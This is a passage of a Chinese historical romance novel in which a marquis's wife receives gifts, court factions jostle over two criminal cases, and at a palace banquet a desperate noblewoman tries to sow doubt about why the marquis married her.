但他这话就不跟惠叔说了,只起身往书案上去了几卷纸页来,他道这是他近几日做的文章,“惠叔帮我送去侯府,请她帮我看看。” 三爷从前的文章,姑娘都替他看过,还会在旁细细点评几句,三爷时常觉得姑娘的点评比一般读书人还准许多。 如今六爷也想请姑娘看文,惠叔有点犹豫,却听六爷道,“文章而已,总不能这也不行?” 惠叔只能应了,见六爷又从腰间取下一只锦囊。 “还有这个。红螺寺的住持昨日早间见了我,赠我的平安符,我是道门的人,佛家的平安符就算了。不过既然是住持开光的,便给她送去吧。” 红螺寺住持亲自开光的平安符,哪是寻常能得来的? 六爷虽总叨扰夫人,可是但凡得了好东西,似书、山泉水、平安符……也都紧着她。 惠叔叹气,打听到杜泠静在何处,径直去了归林楼里。 杜泠静收了六郎的文章,倒也不太意外,道等她看完,会在旁评上两句送还回去,供六郎参考。 至于他赠的平安符,她让菖蒲取两本,刚由冯巷汇编出来、尚未及刊印流布的时文选粹,当作回礼。 浅浅料理了几桩事天色就不早了,崇安已经到了门口来接她。 她想着某人那句“天寒上朝不易”,只能笑着摇头,她暗想着,回头便把这句话也教给红嘴绿鹦哥,不知是何情形。 她跟崇安回了京城。 马车却在城内险些与对面来车相撞。 对面竟是公府的马车,崇安转身跟她道了一句,“夫人,是卫国公世子夫人的车。” 荣昌伯府的杨大小姐。 对面虽是公府马车,但她确实侯夫人,理应杨大小姐该让她。 不过杜泠静并不计较这些,她想到荣昌伯府的事,便让崇安往路边避一避。 不想对面的马车竟往后退了些,接着直接转去了一旁的小巷子里,从另一条路上走了。 “这位世子夫人怎么如此无礼?”秋霖低声道了一句。 杜泠静同她摇摇头,道无妨。她看杨大小姐的马车,是往娘家荣昌伯府而去,想来伯夫人更不好了。 年关在即,皇上让大理寺暂缓审案,可见是想等过完年再将这两桩案子都发落出来。 但不管是邵伯举还是荣昌伯府两位小爷,都凶多吉少,杨大小姐也好,荣昌伯夫人也罢,这年关甚是难过吧。 杜泠静并没计较此事,回了侯府,但转入巷子的马车里,杨家陪房嬷嬷不由道。 “侯夫人给夫人让了路,夫人下令调头走了,侯夫人会不会不高兴?” 侯夫人若不满,在侯爷面前说上两句,侯爷更不会管杨家两位小爷的事。 可她发愁,却听见自家世子夫人,杨大小姐杨金瑜道了句。 “不高兴又能怎样?侯爷已经不管我们家的事了,爹回不了京,娘在家中日日哭,那两个在牢中也不过是等死而已。侯爷眼下只等此案了解,就可一心一意要提拔她杜氏带过来的拂党众人,哪还管我们死活?” 她说自己,“我眼下讨杜氏欢心,还能转回到事发之前,让侯爷重选一遍吗?” 她说不能,突然道,“若杜氏是个嚣张跋扈的就好了,说不定能让侯爷厌烦了她,回心转意,想想我们这些贵勋武将这些年的好处!” 她说出口这话,忽的怔了一怔。 时间是不可能倒流回去了,拂党众人已经被救了出来,也许侯爷就是想要救他们,再拉拢他们,也是说不定的。 但若是能让侯爷发现,不管是杜氏还是她身后这些拂党文臣,都与侯爷,与贵妃和慧王并不一心,会不会回心转意,觉得把本就拥立慧王的贵勋武将抓在手里,才是最重要的? 若能如此,或许侯爷与贵妃,还能赶在皇上发落她两个弟弟之前,挽救出来…… 杨大小姐出了神。 陪房嬷嬷却听出了些意涵,连忙道,“夫人要做什么?” 杨金瑜一时没开口,还是看向窗外杜泠静的马车走远的路口。 “容我想想。” 第46章 皇城, 慧王的毓星宫。 陆慎如到时,贵妃陆怀如已在等着他了。 “荣昌伯府的事,真就撂开了手去?” 贵妃坐在锦榻之上, 双手拢在了雪兔毛缝制的手笼里,房中烧了炭鉴, 问了过来。 陆慎如在炭鉴前搓了搓手, 他哼一声,“看来杨大小姐,都找到了娘娘这里。” 榻上的贵妃不否认,“说到底, 两家是姻亲。杨大小姐是二弟的嫡亲表姐,那两个犯了事的, 也是二弟嫡亲的表弟。就算二弟不在人世了,我们还是要顾及一下,也算是不让婶娘为难。” 提及过世的陆二爷,陆慎如沉默了几息。 炭鉴里有极其细微的炭火碎裂的响声传出, 陆怀如见弟弟不说话, 又道了一句。 “荣昌伯爷在关外也算是战功赫赫, 我这些日看皇上的意思,似也颇为犹豫。但窦阁老等人见邵氏这次逃不了了, 便把荣昌伯府的事咬的极紧,皇上想来也是为难的。” 两桩案子交缠在了一起, 最后的结果自是两败俱伤。 于民而言,这两桩都是实实在在祸国殃民的大案, 重判以正朝堂罡风,肃清朝政最是应该。但是于皇上而言,两方斗得两败俱伤, 各自损失惨重,也是皇上的损失,未必是好事。 陆慎如本不欲再插手此事,但听到皇上这般态度,他想了想。 “我可以听由大理寺秉公处理邵伯举的案子,就此案论此案,不再让人继续攀扯邵遵、邵家和其他雍王一党。剩下的便看窦阁老了。” 他不趁机打压雍王一党,窦阁老若能看出他的意思,也放荣昌伯府一马,说不定能给那二人留条生路。 两边都偃旗息鼓,皇上也就有了台阶下。 陆怀如见他这么说,不禁松了口气,她道,“我观窦阁老也未必想赶尽杀绝,到底荣昌伯爷在边关坐镇,鞑靼人才不敢随意南下。” 但陆慎如不以为然,“娘娘心慈,但此事还是不要想得太顺,若窦阁老早如此好心,顾念我们这些武将为朝堂卖命的功勋,就不会一味拥立雍王,与我们作对。我们与他们,早已是水火不容之局。” 提及雍王,陆怀如抿唇轻叹了一气。 她初初嫁到彼时还是殷王的皇上身侧时,那孩子才两三岁,生母邵氏在生下他之后不久病逝。 彼时还是殷王妃的皇后娘娘并不太顾念他,只将他交给乳母照料,但他乳母竟大冬天得将他弄丢在了花园里。 她思来想去,同皇上说把他抱到自己身边来养。 这一养就是许多年,直到太子过世,他成了朝臣拥立的雍王,邵氏的人围上来,那些与陆氏不对付的当年要投降的文臣也围上来。 他转过头来与她相对而立,再未似幼时那般,在无人处偷偷叫她一声“母妃”…… 炭鉴里又发出炭火碎裂的细响,陆怀如支手托住脸,眸色怔怔看向窗外。 “娘娘莫再思量太多,旧事就让它过了,再立新篇更好。” 陆慎如这话,引得陆怀如看了他一眼。 翻过旧事,再立新篇么? 她想问弟弟一句什么,但他显然不想多提,开了口。 “如果窦阁老等人死咬不放,娘娘也不要太过心慈地到皇上面前说情,令皇上难为,更不是好事。” 贵妃明白,她道,“不能救下,便只能当做立威了。” 她说也该立威,让这些贵勋武将人家都规矩好自己的子弟,再到外面胡作非为,犯了事谁都救不了。 不过陆怀如亦道,“就怕有些人不这样想。” 他们不以为陆氏是立威,反而认为陆氏的不包庇,是有了新臣,忘了旧党。 贵妃思及此问了他,“拂党那些臣子,你想好要用了?” 这一点上,陆慎如没什么犹豫。 “拂党众人是清高了些,但能用在实处的话,比窦阁老手下那些人可强多了。况我们在朝堂里确实缺这些正直的能臣,此番是再好不过的机会。至于旁的……” 他没所谓地笑了笑。 “陆氏待人如何,众人心中都有数。不论新臣还是旧党,只要忠于慧王、忠于陆氏,我陆慎如不会亏待分毫。若不然,只能弃之。” …… 陆慎如从殿里出来,正遇慧王下了学堂,不知是不是听闻他进了宫,快步往毓星宫来。 此刻远远地一眼看到他,步子更是快到奔跑了起来。 男人立时定住了脚步,眸色也瞬间露出爱怜。 “殿下莫跑,小心摔了。臣不走。” 他虽这样说,小皇子还是快步到了他身前。 陆慎如抬手,将跟着跑来的太监宫女都遣了,低头打量小外甥,听他仰头道。 “舅舅有些日没来了。” 近来是忙了些,从京城到保定,再从保定回来,处理这两桩案子,又近年关,陆陆续续总有人上门。 他提小皇子理了理衣裳,打量外甥个头长高了一些,到底才八岁,做那一呼百应、独当一面的亲王还远得很。 他见他手里拿着一根笛子,这才想起先前答应过他的事。 “是臣疏忽了,先前答应殿下学笛的事,竟没抽出工夫来。” 他目露歉意,小皇子却跟他连连摆手。 他说贵妃给他请了两位教笛的先生,已是在学了,他说着眨着眼睛看向身前高大如山的舅父。 “母妃还说,舅舅有了舅母,是有家有室的人,但凡有些闲暇也该多回家才是。” 这话引得陆慎如笑了一声,小慧王却想到了什么,叫了宫人往他寝殿取来一物。 待东西取来,便交到了陆慎如手里。 东西装在鸡翅木的小匣子里,陆慎如要打开,慧王却道莫要,“是我给舅母的,烦请舅舅带回去,交由舅母打开吧。” 男人一怔,眸色越发柔和,“好。” …… 杜泠静从归林楼回来,便见书案上放了个精巧的鸡翅木小匣子,她不由问去进来服侍她更衣的盈壁、香溢两个小丫鬟。 “这是侯爷让人拿过来的?” 他几乎每天都让人给她送些东西过来,秋霖最初还跟她一一回禀,但东西实在太多了,后来秋霖她们就直接将东西替她归拢收好,有时直到她想起来翻用才发现又添置了新物。 不过特特放在书案上的,却不多。 她问去,回答的却不是两个丫鬟。 男人从外面抬脚走了进来,“是慧王殿下托我给娘子的。” 杜泠静吃了一惊,先擦了擦手,才拿起了那鸡翅木匣子。 “是什么?”她问。 “我亦不知。” 她更惊讶,还有他不晓得的事? 男人看着她惊讶的眼神,面露无奈,“娘子是觉得你夫君,世间事,无一不知无一不晓么?” 他又道,“若娘子非要我通晓万事,我也当尽力。” 杜泠静什么都没说,他就给自己加了许多戏。 她不禁抿唇想笑,没搭理他,打开了匣子。 只是匣子里面还套着一个木盒,这木盒更加精巧,瞧着还有些西洋风格。 杜泠静再打开了来,只浅浅这么一开,木盒里间竟放出了乐声,还有精细雕刻的物件转动了起来。 “这是何物?” 杜泠静没见过,不想她夫君还真就知道。 “音盒么?听闻先前有传教之士从西洋归来,为皇上进贡许多西洋珍宝。想来殿下得了此物,又转赠给了娘子你。” 那乐声是未曾听过的调子,却十分悦耳,尤其将音盒近到耳边。 她道,“响亮又动听。” 只是这话说得身边这位侯爷微微怔了一下。 杜泠静想到一事问了他,“殿下赐我此妙物,可要进宫谢恩?” 男人回了神,他说不必,“小物件罢了,你若有心,改日也给他备一件。” 他略顿,“殿下喜欢这些有声动的小玩意。” 杜泠静琢磨起来,“声动么?我少时,父亲一位莒县的故友,曾送了我一套海贝做成的花铃,五光十色色,远听是风的声音,近听则有海浪声在耳边,久听不散。” 她一直收在勉楼里,她问他,“送此物给殿下合适么?” 若合适她让人从青州取来。 不想男人却看住了她。 陆慎如知道她说得是什么。 那套海贝做得花铃她很是喜欢,夏日有风的时候,她会挂在窗下听风听海。 他看住她的眼睛,想说那是陪她多年的爱物,她那么喜欢,不要送人,再寻旁的就是。 但这话他若说出口,她必被他吓到。 他只能道,“既然是伴娘子多年的铃铛,还是算了,再寻旁的也一样。” 可她却笑到,“那有什么关系?是我少时爱听的,想来以殿下的年岁,正合宜。” 她真要把那海贝铃铛送给殿下,而殿下亦偷偷给她备了这音盒为礼。 陆慎如心下软了又软。 他好像真的把她娶回了家…… 他不说话了,只一味瞧着她的眼睛。 杜泠静不知道那铃铛作为回礼,到底行还是不行,却听他莫名问了一句。 “想怎么过年?” 杜泠静一愣,“年还能怎么过?” 他低头笑了起来,伸手拉过她,将她拉进了怀中。 盈壁、香溢连同刚要进门来的秋霖,都匆促退了出去。 她们脚下快步退得,杜泠静脸都有些热了,又被这人圈着,听见他道。 “这是你第一年同我一道,在侯府过年。” 今年同往年确实不太一样。若是回到去岁的今日,她怎么会想到,她此时此刻在这里呢? 她恍惚了一瞬,思绪刚有些飞,他忽又开口。 “我只是问泉泉如何过年,不是让你想旁的。” 他连她思绪飞起、要想旁的都能猜到? 她忍不住就要问他,到底是怎么总能猜出她所想。 不料他又道,“别问我。” 杜泠静:“……” 他是这个世上最古怪的人吧? 反正她是弄不懂他的心思,那她干脆要走了。 今日从归林楼带了好几本书回来。可她还没从他怀中走脱,便被他抱到了书案上。 他低头轻轻琢上了她的唇瓣。 起初最是温柔如水,接着水浪滔天如兵临城下,不过须臾,她呼吸急促起来。 房中早烧起了十足的热气,房檐上的雪早就化了,滴滴答答落在芭蕉叶上。 他攻势越发凶猛,他手下则悄然握上了她细软的腰身。 杜泠静身上一僵,他紧贴着她唇齿哑声问了一句,“怎么?” 前日嬷嬷才刚来点过香,他今日又要…… “月信来了。”她低声。 这次轮到男人身形微怔,又在她唇角轻啄了一下,才离了她半许。 他目光落在她小腹间。 没怀上吗? 但也好。 他们才成婚不到半年。 其实,他一时还想不出,她会给他生一个孩子…… 不,是他与她两人的孩子。 就如同做梦一样。 他将手掌心抚在了她小腹间。掌心的滚烫隔着薄薄的中衣传过来。 “月信疼吗?” 杜泠静听见他问。 他掌心的滚烫隔着薄薄的中衣传过来。令腹中添了温热舒适,但他与她这动作有种说不出的意涵。 杜泠静思及每次事后必吃的药丸,眼帘微垂。 她摇摇头说不疼,却也不想多提此事。 不料他倒是替她说了。 他低笑。 “不急,来日方长。” * 腊月天寒,永定侯府外院议事厅却热火朝天。 陆慎如欲力挺拂党中的洪大人,起复直升正三品的吏部侍郎。 冯巷的父亲在南京做了十年官,正该回到京城,他眼下已为他定下通政司通政的位置。 还有冯巷的叔父,老冯大人的次子,从前最是追随杜氏新政,陆慎如点了国子监祭酒,只等半年后原本的祭酒告老还乡,便让冯氏来担。看似从四品,影响的却是往后朝堂的官员。 邵伯举一案,将大半的拂党人都扯了出来,不少人被排挤多年,正与窦阁老等人不睦,原先他们宁肯被排挤在外,或者辞官还乡,也不与陆氏交集。 一来不想搅进储君之争,二来也不敢随意相信贵勋出身的陆侯。 这次却不一样了,陆侯成了故去的杜阁老的女婿,更是宁牺牲荣昌伯府,也救下了拂党众人。 有些拂党人甚至主动有了投奔之意。 侯府一众幕僚先生们商量着。待明年开春官吏调整之时,将这些拂党全都启用起来。 众人议论得热火朝天,但有一人的位置始终没能定下。 “那廖栩廖先生,是有台阁之才的人,此番侯爷救了他,若能让他为我们重用,假以时日或能与窦阁老分庭抗礼。” 有人提及此事,就有人道,“但这廖先生当年可是被侯爷责打过的,就算因救命之事不计前嫌,但他却更挺雍王入主东宫,而非慧王。如何重用?” 另一人却觉这也不重要,“他在保定教书多年,今次能起复还朝,全赖侯爷之力。我看侯爷只管用他,让他自己心里重选东主便是。” 这人还道,拂党里确实有些人是更倾向于雍王的人,“侯爷娶了夫人,又救了人,用他们也是名正言顺。当今朝堂就是这般,他们也该思量清楚了跟谁一道。” 他的意思,侯爷用人也当雷厉风行。 众人各抒己见,又都看向了上首的男人,等着他最后落定的意思。 但陆慎如只是支了额头往厅外看去,一时没开口。 * 倒是杜泠静又去看望扈廷澜的时候,正好遇到廖先生。 她上前跟廖先生见礼,正要问他两句近来如何的话,不想廖先生却道有事,转身要走。 杜泠静觉得有点不太对,又唤了他一声,“先生往何处去?听闻先生此前在京的宅院早就卖了,若是当下住的不合意,便往澄清坊里搬去。” 从前他跟在父亲身侧时,也是在澄清坊里住过的。 但廖先生却摆手道不用,“静娘不必替我操心,我还有事先走了。” 他说话就离开了去,杜泠静暗觉奇怪,转身见了扈廷澜问了一句,“先生这是怎么了?” 扈廷澜看了她一眼。 廖先生刚才正同他提及,侯府有幕僚找上了他们来,提及了侯爷有意重用之事。 但廖先生是个性情耿直的人,他至今仍认为,雍王年岁占着长,而皇上龙体未必能撑几年,雍王是比慧王更合适的储君之选。 可一旦为陆侯所用,势必要为侯爷争取利益,便与他自己意见相左了。 先生为难,又怕静娘夹在他与侯爷间更是难做,干脆不再多言。 可静娘好像还不知情。 扈廷澜也不好多说,便道先生确实有事,将这事掩了过去。 一个两个都不多言,杜泠静默然。 * 又过几日,腊月过了大半,年关在即,整座侯府都忙了起来。 杜泠静不晓得那位侯爷要怎么过年,看来漱石亭夜宴这种,已经不够他的排场了。 她就安静等着看他的安排。 不过他回来的时候,却道今岁宫宴的安排下来了,是除夕前一日。 杜泠静作为陆侯夫人,这宫宴必须要去。 但他提醒了她一句,“届时各家的老夫人、夫人都会去。” 他说卫国公世子夫人、杨家的大小姐也会去。 翻过年,皇上就要判下杨家两位小爷的案子了,她急得不行了。 他跟他娘子道,“若是她前来找你,不要理会。她说了什么,也莫要听。此事我已有主张,别理她便是了。” 上次杨大小姐与她马车相遇,是完全不想同她搭理的意思。 这次宫宴,杨大小姐会专门来找她? 又能说什么,他还不让她听。 第47章 年前的宫宴就定在皇城西侧, 太液池畔西苑里。 永定侯府就在皇城西面的西安门外,一道护城河相隔的积庆坊里。 旁的人家或许还要绕上半城才能前来,杜泠静随着那位侯爷, 出了自家的门,便就到了宫城门外。 因而他不急, 同她道太液池结了冰, 早早过去也是往冰上吹风。 “你刚病了一场,再冻着又要遭罪,我们等他们都到了再去。” 他还真就说到做到,让人去打听着, 听到窦阁老家那位耄耋之年的老太君,都颤颤巍巍地到了, 他才让秋霖给她裹了厚厚的披风,带她去了皇城。 杜泠静从前来过,那时才豆蔻的年岁,跟在父亲身侧入宫赴宴。因着是小姑娘家, 便也只有年岁相近的姑娘们会留意她。 但这次却不一样, 她同那位侯爷刚到太液池畔的宴厅外, 散在湖边的目光便陆陆续续地尽数投了过来。 这是陆侯夫人嫁给陆侯之后,第一次赴宴。 各家不是没给陆侯夫人送过帖子, 但侯夫人第一次赴宴会选年节的宫宴这等场合,才是常理。 不过也因着她没去过各家宴请, 京中许多人从未见过这位突然从青州进京,莫名其妙凭着一旨赐婚, 就嫁给了京中最是显赫的权臣陆侯爷的侯夫人。 众人眼下皆着意向她看去,见她披了件雪狐毛镶边的琥珀色披风,上裳着秋香色立领对襟褙子, 通身暗纹似用金丝绣成,看似寻常,但立在日光下暗色团花亮出淡淡金光,如太液池上冰面化开,日头映衬得波光粼粼一般。 对襟褙子下,她着了茶色缃裙,华美中更显稳重。 而她长眉纤长秀美,羽睫轻轻掩着沉静如水的眼眸,她举止有度,进退有张有弛,举手投足间透着浓郁的书卷气息。 她是当今京中最为显赫的陆侯夫人,也是先帝时一手提把的杜阁老的独女,更在士林中为读书人所敬重,这是多少家世卓著的贵女所没有的。 当下众人无不暗暗看着她的一举一动,她倒是神色如常,见女眷都聚在西侧的园中,与男子们分开来,而恰有人上前同侯爷见礼寒暄,她便同侯爷浅浅道了一句,转身往西侧走来。 不想她刚走了一步,侯爷反而转了身来。 侯爷让前来寒暄的人稍等,转过身来跟他的侯夫人交代了几句。 有人听见了陆侯的声音,男人嗓音一贯的低哑,却并非似其他男子交代自己的新婚夫人要如何行事,反而先指了湖面,让夫人不要往冰面上去,又道沿河的一段柳树下风极大,夫人也不要过去,倒是可以往另一侧的梅林里转一转。 夫人一一点头,侯爷却还没舍得让她离开,又道自己就在另一侧,温声同她交代,“有任何事思量不定的,就叫人来寻我。” “知道了。”她不得不开口。 男人则叫了她随侍的婢女,“秋霖照看好夫人。” “是。” 如此这般,她才得以转了身,侯爷看着她离开走远,才又同人寒暄起来。 将陆侯与他夫人的一举一动都看在眼中的众人,无不暗自思量起来。 杜泠静刚走过去不远,靖安侯世子夫人便带着几位年轻的夫人姑娘,上前来跟她说话。 靖安侯老侯爷可是陆家过世的老侯爷,吵吵闹闹一辈子的老友,吵归吵,但两家守望相助,关系甚笃。 杜泠静每月听得侯府中馈要事,便是会场提及靖安侯府。不过就算是这位世子夫人,也是她婶娘辈分的人,反倒是几位年轻的夫人姑娘与她年岁相当。 靖安侯府的人当先上前迎了她,陆陆续续地便有其他与永定侯府交好的各家女眷,也都上前来一一与陆侯夫人见礼。 杜泠静还没怎样,秋霖在旁已经如临大敌了。 那么多夫人、太太、姑娘,这一家的那一府的,她替自家夫人记得脑门都出了汗,唯恐记岔了。 等到好不容易上前的人散了散,杜泠静也从梅林里绕过,被她们簇拥着到了宴厅前,秋霖才松了口气。 “夫人,奴婢可能只记了五六成。” 那么多人,能记五六成就不错了。 杜泠静安慰她别紧张,“我都记着呢。” 秋霖大松了口气,这才想起来夫人阅书无数,都能记下来,这一园子人算什么。 宴厅里坐着的,自是各家上了年岁的老太君、老夫人。 杜泠静年岁虽然不大,辈分也算不得高,可那位侯爷地位实在太过超然,她踏进宴厅,便被宫人引着一路往上首走去,几乎是走到了皇室之下的最前端,同窦阁老家的老太君正对着。 这下连杜泠静也少不得与众人目光中,稍稍热了热。 恰在这时,宴厅的东侧,某人也阔步进到了厅里。 他一步跨进厅,便遥遥向她看来,目光越过半个宴厅的人看向她,跟她轻轻笑了笑。 莫名地,杜泠静有种被他发现了她,紧张地微微出了点汗的感觉。 他是不是在笑她? 杜泠静默不作声地瞥了这人一眼,见他更笑了,亦被人拥着往上走,她别过了头去不理他。 时候不早,众人皆陆陆续续地进到宴厅落座,等候皇上皇后和贵妃前来。 万老夫人前些日在家中,担心年前的宫宴,皇上不再让她进宫,但皇上终究还是看在她过世的姐姐万妃的面子上,还是允她来了。 万老夫人心中大石落地,颇为松快了几日,但今日,她坐在不起眼的位置上,落了座也没几人上前同她说话,却见那杜家女进了厅里来,便一路上前竟坐到了窦家老太君的对面。 恍惚了一下,万老夫人这才意识到,她可不是杜家那孤女了,而是永定侯陆侯的夫人。 一时间万般滋味涌上心来,却不好多言,只看着这位陆侯夫人的背影沉默许久。 也有一人险些没能来成今次宫宴。 荣昌伯府出了人命官司,杨金瑜的母亲荣昌伯夫人自是不在应邀之列,好在没有牵连出嫁女,婆母虽不想带着她,可她到底是卫国公府的世子夫人,总还是要顾及体面。 卫国公府与永定侯府算不亲近,反而堂堂国公府自初代国公之后一直衰落,到如今被永定侯府压在了头上。 可永定侯府势大,卫国公府的子弟想要在军中立功,积攒功勋,也只能靠永定侯府提拔。 卫国公府最初还想要为世子,求娶陆家的大小姐陆怀如。 可陆怀如是不止一位僧道批命要母仪天下的命格,当年先帝几位年轻皇子都有意求娶,卫国公府自是娶不到,只能退而求其次,娶了她过门。 他们娶她过门,便是思量着荣昌伯府与永定侯府陆家世代交好,凭此能得陆氏看重。 却没想到这次她两个弟弟出事,陆氏竟然撂开手去。 这些日以来,婆家这些人待她嘴脸全都变了,连世子都半月没来她院中…… 杨金瑜一想到这些就胸口发闷。 她亦默然看着坐到了上面的那位陆侯夫人。 不过杜泠静感受到的目光多了,她渐渐适应了众人的目光。不过多时,皇上携皇后与贵妃和其他妃嫔进了宴厅来。 杜泠静瞧着贵妃还如数月前一样,无甚变化。 倒是皇上听闻到底还是被朝臣过了病,前些日小病了数日,看起来似还没好利索,脸色泛白,精神缺缺。 至于皇后娘娘,杜泠静是第一次见。听闻她是因太子之死打击,险些随太子而去,之后便身体一蹶不振,一年中最多能露面三次,今年却只在皇后娘娘的千秋节和今次的宫宴,露了两回面。 她同贵妃娘娘的关系显然是不好,贵妃倒还礼数周全,但皇后看都不看她一眼。 杜泠静暗道,只怕陆氏和慧王拥簇者,也都等着皇后娘娘宾天。只有皇后宾天,贵妃才能入主椒房殿,慧王便就是无可争议的皇上嫡子,东宫太子的唯一人选。 不过皇上似乎与皇后颇有些结发夫妻的情意在,一直命太医仔细照顾皇后病体,这会连他自己都怏怏病着,还让人给皇后脚下烧个炭盆来。 但皇后无甚情绪,宴会刚刚过半,受过众人年节福语,就以身子不适告辞离去。 皇上叹气。 杜泠静作为贵妃的娘家弟媳,眼观鼻鼻观心地谨言慎行。 不时皇上道过年节喜庆、君臣共勉的话,也离席了一时。 最上首的人一走,下面便慢慢活络了开来。 贵妃同她说了几句话也暂时去了,便又有人来跟她寒暄,杜泠静打起精神说了一阵后,也有点累了。 刚浅浅饮茶出了口气,便察觉有熟悉的目光落过来。 她抬头看去,与他的目光触在了半空。 他遥遥跟她开口,“累了?去换身衣裳,休息一阵。” 声音传不过来,但他的唇语杜泠静总能看懂。 “好。”她道。 他柔和了眸色,跟她抬了下巴,示意她快些去歇了吧。 正好这会无人上前,她转身往给宾客准备的换衣的客院而去。 早就有其他彼此熟络的女眷,陆陆续续往这些小院的厢房里闲话去了,杜泠静若也能找个安静的院落无人的厢房,还能打个盹,歇好了再回宴厅继续宫宴不迟。 然而她刚走出宴厅没多远,就有人在小路上拦住了她。 是卫国公世子夫人,杨大小姐杨金瑜。 杜泠静看见她,只点头没说话,她明显是不想跟杨大小姐多言的态度。 可杨大小姐也没退开,更是上前一步。 “侯夫人请留步,金瑜有话要同您讲。” 她把姿态放得倒是低,完全不是那日在街上偶遇时,她恼怒厌烦的态度。 她大变态度,连秋霖都看了出来,偷偷拉了拉杜泠静的衣袖。 杜泠静心里有数,亦晓得那位侯爷也不想让她听杨大小姐说话,便道。 “今日是宫宴,世子夫人有什么事,之后再说不迟。” 之后再说便是不用说了。 杨金瑜见她不想理会自己,心下暗恼,又见她脚步要错过自己和身后的嬷嬷,往另一边去,她一侧身,完全挡住了杜泠静的路。 “夫人,此事紧要,等不得之后了。” 她说什么都不肯放走杜泠静,杜泠静心下暗叹。 “那世子夫人就说吧。” 杨金瑜见她神色沉静,自己强行拦她,她也无有不耐恼怒,心下反而有些打鼓起来。 但她还是道,“夫人应该也晓得我的来意。听闻眼下侯爷正力挺夫人身后的拂党众臣,回朝堂起复做官。我等晓得侯爷是为了慧王殿下辛苦布局,但夫人身后的拂党众人,侯爷都收下了,是不是也该顾念一下我们这些旧人?救一救我两位小弟。” 她虽说是要救弟弟,但话里话外的意思,却指陆慎如一味着力收拢拂党之人,就算不顾旧人也要趁机让拂党归于他。 他在安置拂党众人还朝的时,杜泠静还是知道的。 他要用人,怎么会放着拂党众臣不用? 难道杨大小姐以为,她会阻拦侯爷用人吗? 她看向杨金瑜,“令弟的事,我恐怕说不上话,世子夫人再另寻高明吧。” 可杨金瑜却道,“夫人怎么可能说不上话?侯爷那么看重夫人,为了娶到夫人,专门去皇上面前求旨赐婚,这才将夫人娶回家中,怎么会不看重呢?” 梅林的小道上无人,只有太液池上刮来的风,吹动着枝头尚未完全盛开的花骨朵。 秋霖在旁听着吓了一大跳。 杨大小姐是说,皇上赐婚侯爷与夫人,不是意外,也不是皇上的用意,而是侯爷特地求来的吗?! 但侯爷可不是这样跟夫人说的。 她绷紧了神色,暗暗看向自家夫人。 杜泠静则并不言语,只是看着杨大小姐。 杨金瑜心里越发打鼓,这桩婚事到底是怎么来的,其实她也不知道,她总不能去问皇上或是兖王。 但若是这位陆侯夫人信了侯爷是有意娶她,那就不一样了。 她不是还在意着前面那位蒋家解元,并不真心想嫁吗? 她沉下一气,看住杜泠静的眼睛。 “我不晓得夫人知不知道此事。但侯爷多年都未成婚,也从没对哪位女子上过心,今岁京中也完全没听说侯爷要娶妻,可他却突然娶了夫人。” “自然,夫人蕙质兰心、才情并茂,但更紧要的是夫人是杜阁老的女儿,即便阁老过身,当年这些拂党众臣还心系杜氏……” 杨金瑜已经顾不得此刻就在皇城之中、太液池畔,言语需要谨慎再谨慎,她直道。 “侯爷想要收拂党众臣为己用,但他们却不敢相信侯爷。邵伯举之事闹出来之后,侯爷立时便察觉,这正是绝佳的机会。若能娶了夫人,然后再以杜家姑爷的名义救下拂党众人,众人必然归心。” 杨金瑜连道“夫人勿怪”,“我并非是说侯爷是为了收拢拂臣,才特特在皇上面前求娶了夫人。我的意思是,夫人对侯爷至关重要,家弟的案子,侯爷若不帮衬,他们只有死路一条,但能在侯爷面前说得上话的,只有夫人了!” 她说着就要行大礼,“还请夫人在侯爷面前美言!” 杜泠静一把扶住了她,秋霖也赶忙上前拉起。 杨大小姐还真就把请人美言的礼数做足,让陪房嬷嬷拿了一只匣子来。 匣子打开,满满当当尽是东珠。 “请夫人收下。” 杜泠静当然不要,她刚说世子夫人太客气了,就见路上又走来了几人,不巧是窦阁老家的老太君和一众文臣女眷。 窦阁老正抓着荣昌伯府的不肯放,被她们听见更是不好。 杜泠静当即将那匣子东珠推了回去,杨金瑜也不敢在窦家女眷前多言,而她的话都说到了,见杜泠静要走,便没再阻拦。 两人分道离去。 杨金瑜同陪房嬷嬷一直走到人稀处才停下来。 嬷嬷紧张得满手是汗,她低声,“夫人拿侯爷为了拂党人,求旨强娶侯夫人的事,说给侯夫人听,侯夫人会信吗?” 杨金瑜也不知道。 这事她来回思量了几日,彼时侯夫人不想嫁,满京都看出来了,若是被她晓得,侯爷是为了收拢拂臣强行娶她,必然会与侯爷闹起来。 只是她准备得匆促,还没来得及拿出什么似是而非的“证据”。 “她估计是不信我,但先让她起疑,我之后再弄些证据佐证此事,她应该就会信了。” 可这一前一后又要些日子,皇上可能会念及正月里暂不发落,但正月一过就不好说了。 杨金瑜心里着急不安,此刻遥遥地往不远处的陆侯夫人脸上看去。 太液池上的风,将湖面上的冰气全扫到了池边的亭台楼阁之间。 风有些大,湖边几颗落光叶子的黄柳萧瑟地随风而摆。 秋霖方才听那杨大小姐,突然说起侯爷是求旨强娶夫人,这会还心头乱跳。 “夫人觉得这件事是真的吗?” 杨大小姐张口就来,什么证据都没有,听着虽然惊人,但细想又不太可信。 不想秋霖问过去,听见自家夫人道了句。 “我倒以为,侯爷求旨赐婚的事,约莫是真的。” 秋霖倒吸一气,却见姑娘神色平静,冰面上的风吹起她额前的碎发,她轻垂眼帘。 杜泠静缓声,“这样可以解释清楚很多事。” 可以解释邵伯举被疑杀人之后,皇上显然不想再给他赐婚,她原本也就无关紧要了,却突然圣旨落下,让她嫁给那位侯爷; 也可以解释他为什么将婚期定在次月,着急就要娶她过门,又要与她既有名、又有实; 可以解释他为她大开归林楼收书,声势浩大,人尽皆知; 亦可以说明她原本不想让他为难,自己带人手去了保定,他却紧跟着就赶了过来,为此还生了气…… 而后他一力救下众人,护送回京,准备重用。 邵伯举的案子不重要了,让拂党众臣皆为他所用,才是他最终的目的。 为了这个目的,他到皇上面前求娶,她愿不愿意都不打紧,他将她娶回家,以她为桥,将他与拂党之间的关系建立起来,才最紧要。 好多想不明白的事,好像一下都有了解释。 杜泠静垂眸轻轻笑了笑,“只是难为他,对我一而再、再而三地宽纵……” 甚至还主动提及,与她一道祭拜三郎。 “侯爷真是多有忍耐了。” 她声音很轻,秋霖心慌了一下。 她下意识觉得,侯爷可能不是夫人说的这样,但又不知从何说起。 * 杨金瑜转到了距离河边柳下不远处,她定睛往杜泠静脸上看去,便听身侧的陪房嬷嬷道。 “夫人,老奴怎么瞧着侯夫人脸色不太对劲?” 确实不太对,杨金瑜也看到了。 